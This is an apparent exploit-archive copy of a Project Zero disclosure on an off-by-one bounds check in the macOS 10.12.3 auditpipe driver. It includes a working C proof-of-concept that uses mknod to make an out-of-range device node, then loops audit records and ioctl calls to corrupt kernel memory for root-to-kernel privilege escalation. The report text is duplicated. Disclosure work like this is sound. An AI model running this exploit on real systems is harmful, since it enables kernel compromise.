Apple macOS Kernel 10.12.3 (16D32) – ‘audit_pipe_open’ Off-by-One Memory Corruption
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1126 MacOS kernel memory corruption due to off-by-one in audit_pipe_open audit_pipe_open is the special file open handler for the auditpipe device (major number 10.) Here's the code: static int audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype, __unused proc_t p) { struct audit_pipe *ap; int u; u = minor(dev); if (u < 0 || u > MAX_AUDIT_PIPES) return (ENXIO); AUDIT_PIPE_LIST_WLOCK(); ap = audit_pipe_dtab[u]; if (ap == NULL) { ap = audit_pipe_alloc(); if (ap == NULL) { AUDIT_PIPE_LIST_WUNLOCK(); return (ENOMEM); } audit_pipe_dtab[u] = ap; We can control the minor number via mknod. Here's the definition of audit_pipe_dtab: static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES]; There's an off-by-one in the minor number bounds check (u < 0 || u > MAX_AUDIT_PIPES) should be (u < 0 || u >= MAX_AUDIT_PIPES) The other special file operation handlers assume that the minor number of an opened device is correct therefore it isn't validated for example in the ioctl handler: static int audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data, __unused int flag, __unused proc_t p) { ... ap = audit_pipe_dtab[minor(dev)]; KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL")); ... switch (cmd) { case FIONBIO: AUDIT_PIPE_LOCK(ap); if (*(int *)data) Directly after the audit_pipe_dtab array in the bss is this global variable: static u_int64_t audit_pipe_drops; audit_pipe_drops will be incremented each time an audit message enqueue fails: if (ap->ap_qlen >= ap->ap_qlimit) { ap->ap_drops++; audit_pipe_drops++; return; } So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the struct audit_pipe* which is read out-of-bounds. For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe* then the ioctl will try to use that pointer. This is a root to kernel privesc. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 */ //ianbeer #if 0 MacOS kernel memory corruption due to off-by-one in audit_pipe_open audit_pipe_open is the special file open handler for the auditpipe device (major number 10.) Here's the code: static int audit_pipe_open(dev_t dev, __unused int flags, __unused int devtype, __unused proc_t p) { struct audit_pipe *ap; int u; u = minor(dev); if (u < 0 || u > MAX_AUDIT_PIPES) return (ENXIO); AUDIT_PIPE_LIST_WLOCK(); ap = audit_pipe_dtab[u]; if (ap == NULL) { ap = audit_pipe_alloc(); if (ap == NULL) { AUDIT_PIPE_LIST_WUNLOCK(); return (ENOMEM); } audit_pipe_dtab[u] = ap; We can control the minor number via mknod. Here's the definition of audit_pipe_dtab: static struct audit_pipe *audit_pipe_dtab[MAX_AUDIT_PIPES]; There's an off-by-one in the minor number bounds check (u < 0 || u > MAX_AUDIT_PIPES) should be (u < 0 || u >= MAX_AUDIT_PIPES) The other special file operation handlers assume that the minor number of an opened device is correct therefore it isn't validated for example in the ioctl handler: static int audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data, __unused int flag, __unused proc_t p) { ... ap = audit_pipe_dtab[minor(dev)]; KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL")); ... switch (cmd) { case FIONBIO: AUDIT_PIPE_LOCK(ap); if (*(int *)data) Directly after the audit_pipe_dtab array in the bss is this global variable: static u_int64_t audit_pipe_drops; audit_pipe_drops will be incremented each time an audit message enqueue fails: if (ap->ap_qlen >= ap->ap_qlimit) { ap->ap_drops++; audit_pipe_drops++; return; } So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the struct audit_pipe* which is read out-of-bounds. For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe* then the ioctl will try to use that pointer. This is a root to kernel privesc. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <net/bpf.h> #include <net/if.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <bsm/audit.h> #include <security/audit/audit_ioctl.h> int main(int argc, char** argv) { system("rm -rf /dev/auditpipe"); system("mknod /dev/auditpipe c 10 32"); int fd = open("/dev/auditpipe", O_RDWR); if (fd == -1) { perror("failed to open auditpipe device\n"); exit(EXIT_FAILURE); } printf("opened device\n"); system("touch a_log_file"); int auditerr = auditctl("a_log_file"); if (auditerr == -1) { perror("failed to set a new log file\n"); } uint32_t qlim = 1; int err = ioctl(fd, AUDITPIPE_SET_QLIMIT, &qlim); if (err == -1) { perror("AUDITPIPE_SET_QLIMIT"); exit(EXIT_FAILURE); } while(1) { char* audit_data = "\x74hello"; int audit_len = strlen(audit_data)+1; audit(audit_data, audit_len); uint32_t nread = 0; int err = ioctl(fd, FIONREAD, &qlim); if (err == -1) { perror("FIONREAD"); exit(EXIT_FAILURE); } } return 0; } |